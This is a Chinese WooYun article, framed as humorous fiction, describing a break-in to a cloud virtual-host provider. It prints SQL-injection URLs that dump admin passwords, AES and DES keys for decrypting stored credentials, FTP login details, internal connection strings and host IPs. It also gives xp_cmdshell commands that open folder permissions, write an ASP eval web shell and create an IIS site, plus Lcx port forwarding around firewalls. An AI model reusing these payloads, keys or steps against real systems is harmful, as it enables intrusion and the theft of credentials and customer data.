10

磨针记2——逝去的女神 | WooYun知识库

 7 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

磨针记2——逝去的女神

(本文纯属虚构,如有雷同,实属巧合)

重阳祭祖,在闲暇之余,且听我讲述一个小小的故事。

0x01 飘渺的云虚机


很久很久以前,一个叫XXX的女孩和倭国的阿x发生了一夜情。XXX意乱情迷,浑不顾众人的反对,嫁鸡随鸡了。阿x现在做起了互联网的生意,瞧,这不是他们正在热推的云虚机吗?

图1 云虚机

共享经济版,就是传统的虚拟主机,几百个客户挤在一台服务器上,共享有限的资源。独享版呢,就要多掏银子,争取好一些的服务。一度被称为x云的独享版,如今与共享版一起上了云,美其名曰云虚机。

相比绚丽的广告,阿x为客户提供了朴素到极致的管理界面,最近我爱上了一块五一包的康师傅,品质和这差不太多。

图2 云虚机的管理界面

花费不少银子,为什么不能拥有一个图形界面呢?于是我敲敲桌子,大喊:“小二,来个图形界面。”小二很殷勤,“客官,您只需要小小地升个级。”我递过信用卡,不一会,小二回来了,“客户,余额不足哦。”我纳闷了:“不是还有五百块吗?”小二笑了笑,投过一个深深的眼神:“升级需要五千大洋哦。”我赶紧挥挥手,把永远都那么讨人喜欢的小二打发掉了。

咱谨记太祖的训示,“自己动手,丰衣足食。”诸位且看小子如何征服云虚机。

0x02 Lcx


虚机改了名,上了云,终究还是一个没骨的。征服它不难,难的是无处不在的防火墙,转发利器Lcx又得到了出场的机会。

首先,从你掌握的资源中挑选一台位于公网的服务器,再从服务器对外开放的端口中,选出一个空闲的,用于Lcx监听云虚机的请求。这一次我选择了443端口。此外,Lcx还需要一个监听服务器上的远程工具连接的端口,只须空闲即可,我选择了2500。(在命令提示符下使用netstat –an查看已用的端口)

图3 Lcx连接示意图

图4 连接步骤1:公网服务器上的服务端执行监听

其次,在云虚机上运行Lcx客户端。我一般直接使用别人从AspxSpy抠出的代码,因为做过混淆,也就略过不提。需要理解原理的同学可参考《WINDOWS网络编程技术》一书,把那几个常用的API理解了,把几个模型弄清了,一通百通。使用时,点击“MapPort”建立连接。如果连接中断了,可以使用“ClearAll”关闭已经打开的Socket,再重新建立连接。只要稍加留意服务器端的提示,还是很简单的。图中的a.b.c.d是公网服务器的IP地址,端口为443。

图5 连接步骤2:云虚机上的客户端执行连接

几秒钟之后服务器提示接头成功。

图6 与客户端建立连接

如上图,Lcx已在云虚机与公网服务器间建立了连接。此时就可以在服务器上使用远程连接工具来访问云虚机了,连接地址为127.0.0.1:2500。注意啰,不要直接连接云虚机的IP。

图7 在服务器上远程连接云虚机

曾经使用过一个独创的Lcx,为了避免空闲时掉线,代码中添加了闲时发包的功能。这一个改进自然是好的,但倘若与原生的Lcx共用,却又无法匹配工作。假如在开发之时把它作为一个可选的选项,也许会更好一些。

0x03 托梦


年初云小编审稿,XXX还吊着半条命,为此我省略了密码问题,他也干脆地把我给毙掉了。如今逝者已矣,XXX托梦与我,曾经由她掌控的云虚机有如下命名规则 :

规则 说明
服务器默认创建2(或3、4个?)个管理帐号 虚无飘渺的梦境啊
若服务器名为qyw-10000,则管理帐号为qyw10000adm及qyw10000bka。若存在Mssql,则禁用sa,并改名为sa_qyw10000adm 那位大哥,不要迷恋sa了,好不
密码为8或10位的数字与小写字母轮流出现的随机组合。(且避开某些不易区分的数字与字母?) XXX的经典之密q1w2e3r4
管理帐号的密码采用AES加密 Key: XO7BWKVmCzFV43VNm6jlsQ== IV: +AjPNc+raabKpHYqsQeZAQ== Key与IV需如下转换成字节数组:byte[] bytes1 = Convert.FromBase64String(AESkey) 测试用例:Hello:goMNyIL+hkhSXyZbkPBH9g==
Ftp的密码采用DES加密 Key: woskxmvb 测试用例:Hello:F45FCB92F2561036

恰巧手上有一枚未破之密,咱也不用什么Intel,附近就是国产生物电脑的聚集地——乖宝宝幼稚园。五分钟之后,小朋友们人手一颗棒棒糖,在宣传部小妹妹的鼓动之下,操起“全世界最安全”的“安全手机”并行登录,场面蔚为壮观。不一会阿土伯的曾孙阿土仔最先登顶——原来是一台市值40大虾的青岛主机。

图8 短了0.06GHz,王海何在

一时兴起,想探究为何IIS被设置为32位模式,谁知……

图9 XXX模块无法运行于64位模式

是夜,秋风渐起凉人意,咱晒晒山寨代码暖和一下。

图10 256位AES

我自罚三杯,早早地睡了,想到明日就可实现不睡懒觉的伟大理想,辗转反侧。

翌日,我错过了最后一个肉包子。还是大师说的对,“施主,吃素有益健康,请把肉施舍给老衲吧,哦米拖佛。”

0x04 三颗蓝宝石


掘的过程犹如筛沙,漫长而无聊,今日稍加展示三颗璀璨的蓝宝石。

第一枚,vhcon.XXX.com漏点。查询vminfo表:

http://vhcon.XXX.com/taskmanstatus/query.aspx?likename=cnd%27 union all Select top 100 Convert(Nvarchar(4000),[主机名]%2bChar(124)%2b[adm口令]%2bchar(124)%2b[bka口令]%2bchar(124)%2b[数据库口令]%2bchar(124)%2b[主IP]%2bchar(124)%2b[从IP]%2bchar(124)%2b[主机类型]%2bchar(124)%2b[系统类型]%2bchar(124)%2b[系统版本]%2bchar(124)%2b[出厂编号]%2bchar(124)%2b[机房位置]%2bchar(124)%2b[从IP情况说明]%2bchar(124)%2b[组号]%2bchar(124)%2b[内网IP]%2bchar(124)%2b[城市]%2bchar(124)%2b[服务商]%2bchar(124)%2b[机房]%2bchar(124)%2b[服务器类型]%2bChar(124)%2bconvert(nvarchar(400),[id])) as servername,[主IP] as chkuserdir  From [hiconnect_db]..[vminfo];--&act=loadtask&taskname=chkuserdir&tasktype=unmatch&

查询keyplatform表。对于这个keyplatform,我曾经做过非常深入的问卷调查,全国人民一致表示资历尚浅,弄不清这西洋文~~~后经专家的权威认证,Key是钥匙,platform是平台,而后专家缓缓地闭上眼,想像出平台上挂满了钥匙的场景。如此渊博的学识,无怪已经入选了社科院,佩服佩服。

http://vhcon.XXX.com/taskmanstatus/query.aspx?likename=cnd%27 union all Select top 1000 Convert(Nvarchar(4000),[hostname]%2bChar(124)%2b[wanip]%2bchar(124)%2b[lanip]%2bchar(124)%2b[username]%2bchar(124)%2b[password]%2bchar(124)%2b[conip]%2bchar(124)%2bconvert(nvarchar(200),[contype])%2bchar(124)%2b[os]%2bchar(124)%2b[dev]%2bchar(124)%2b[pe]%2bchar(124)%2bconvert(nvarchar(200),[appgroup])%2bchar(124)%2b[city]%2bchar(124)%2b[jifang]%2bchar(124)%2b[apps]%2bchar(124)%2bconvert(nvarchar(200),[ifdel])%2bChar(124)%2bconvert(nvarchar(400),[id])) as servername,[hostname] as chkuserdir  From [hiconnect_db]..[keyplatform];--&act=loadtask&taskname=chkuserdir&tasktype=unmatch&

图12 keyplatform

第二枚,立足于XXX的服务器,访问opdown.XXX.com,用户名civilink,密码opdown。下载HiConnectClient.zip,解压后将“常用表格-虚机.xls”去除密码,三万台虚拟服务器一目了然。

图13 Opdown的满汉全席

图14 明码标价,诚得我心

第三枚,令小XXX投怀送抱的终极晶钻——XXX之心,核心数据库的连接串为

(1)server=XXX.*.rds.*.com,3433;uid=hmpsa;pwd=*;database=hi_hmp
(2)server= XXX.*.rds.*.com,3433;Database=cmp;uid=cmpsa;pwd=*
(3)data source = XXX.*.rds.*.com,3433;initial catalog = hiflow; user id =hiflowsa;password =*
(4)Data Source=10.*.*.2;Initial Catalog=HiService;uid=hcmsdb;pwd=*
(5)Data Source=10.*.*.2;Database=CloudPlantform;uid=cmpsa;pwd=*
(6)Data Source=10.*.*.3;Database=Ah_Monitor;uid=hcmssa;pwd=*
(7)Data Source=10.*.*.10;Initial Catalog=HiServices;uid=sa;pwd=*    
(8)server= XXX.*.rds.*.com;user id=cproot;password=*;database=cp_db

图15 陈旧的Hmp数据库

五万台服务器,三十万用户,多乎哉,不多也。阿x人无须惊慌,这些小小的疏忽都是临时工导致的,是早已废弃的备份,主库目前置于极其安全的防护下,如需攻破还得等到本世纪中叶。

0x05 堡垒鸡


每逢激情上演,万恶的防火墙总要跳出坏人好事。22、887、3389、9001,15588,为何我需要的端口都被封杀?社工团员们,考验你们的时候到了。你们去阿x那儿,一定要安下心来发展业务,顺便喝杯水,蹭蹭Wifi,胆大的皮厚的拉着客服姐姐的小手聊聊天,借用姐姐的手机上上网,我等着你们的好消息。与此同时,我还是探寻技术之路吧。

遍翻武林秘籍,传闻要越过这道“马其诺防线”,唯有找到堡垒鸡。向来只听闻阿凡达的大公鸡、雅加达的老母鸡和思密达的小鸡鸡,堡垒鸡又是什么东西?原来海归名叫Bastion,二代身份证上赫然印着“巴斯申”:

名称 IP地址
BastionHost.BJ 112.*.*.*
BastionHost.HZ 223.*.*.*
OPDown.BJ 112.*.*.*
OPDown.HZ 223.*.*.*
NewBastion.QD 115.*.*.*
NewBastion.HZ 112.*.*.*
OXS1.HZ 10.*.*.*
OXS2.HZ 10.*.*.*

堡垒鸡,你还配作一个代理吗,刀枪林立,戒备森严,我还是远远绕道莫要理会。

0x06 cvbb再次出场


我欲乘风归去,cvbb却死皮赖脸地抱住导演的大腿直抱怨戏份少,走不得,无奈,只得加戏!

场景一:期末考试中,cvbb正襟危坐,实则早与外部搭上了天地线。

Q:(问答题,10分)已知远程Mssql主机的系统管理帐号hds129adm,密码x,禁用了sa,请给出登录步骤。(警告:挑战主考官智商者倒扣10分)

cvbb欲答:速令黑社会24小时内占领主机!这气势,是挑战主考官的节奏吗?再看外边传进的答案:

A: (1) 运行虚拟机,添加同名、同密码帐户,以此帐户重新登录

(2) 在虚拟机中,运行SSMS,选择“Windows身份验证”登录数据库(图16,17)

(3) 启用cmdshell

(4) 在cmdshell中检查w3svc等IIS相关服务及80端口是否正常,必要时使用adsutil.vbs创建一个新站点(图18)

(5) 在所选的站点下生成一句话(图18)

(6) 使用一句话上传端口转发工具

(7) 凌晨两点准时鸣放100响礼炮提醒大家早睡早起身体好

图16 禁用sa也无妨

图17 禁用sa也无妨之二

exec xp_cmdshell 'c:\windows\system32\cmd.exe /c cacls d:\software /e /t /g everyone:f'
exec xp_cmdshell 'echo ^<%b=request("#")%^>^<%eval b%^>  > d:\software\1.asp'    

exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs create_vserv w3svc/99'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/serversize 100'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/servercomment "test"'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/serverbindings ":80:"'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/enabledefaultdoc true'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/path d:\software'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/accessread true'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/accesswrite true'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/accessscript true'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/enabledefaultdoc true'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs set w3svc/99/root/appfriendlyName 默认应用程序'
exec xp_cmdshell 'C:\Inetpub\AdminScripts\adsutil.vbs start_server w3svc/99'

图18 创建新站点,生成一句话

使用Dos命令echo生成一句话时使用了转义符^(数字6上头之符号)。新站点可直接使用IP地址访问。某些防火墙可能会限制IP地址的访问,随机应变就是了。

场景二:期末考试进行中,vcbb仍正襟危坐。

Q:(问答题,10分)已知虚拟主机所在服务器的系统管理帐号bgw002adm,密码x,请给出登录步骤。(警告:挑战主考官智商者倒扣20分) cvbb欲答:强攻机房,限黑社会6小时内占领主机~~~真是一个语不惊人死不休的人哪,再看外边传进的答案:

A:

(1) 登录Hmp库,在VirtualHostInfo表中查找该主机的Ftp用户名和密码(图19)

(2) 使用Ftp上传端口转发工具

(3) 凌晨四点准时鸣放500响请大家早起锻炼身体后,自己睡觉

图19 VirtualHostInfo表

cvbb与众不同之处,就在于模拟。尤其这类已知用户密码的场合,实在太适合他的发挥了。

图20 如鱼得水

导演一声cut,cvbb好歹露了一脸,面上有光,终于肯乖乖地回去了。

0x07 后记


阿x抽出XXX的筋骨,前后历经四年,多种手段并进:

(1) 部门整合,打乱编制

(2) 主要开发人员调往营销岗位,中止新技术研发

(3) 老员工离职

(4) 平台迁移,解散运维部门

(5) 文化渗透

打着减少成本的光鲜旗号不断削弱XXX的力量,最终XXX成为阿x的一颗死棋子,失去了所有的技术与资源。

惆怅中,只闻一首古曲从远方渺渺传来……

春花秋月何时了?往事知多少。小楼昨夜又东风,故国不堪回首月明中。
雕栏玉砌应犹在,只是朱颜改。问君能有几多愁?恰似一江春水向东流。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK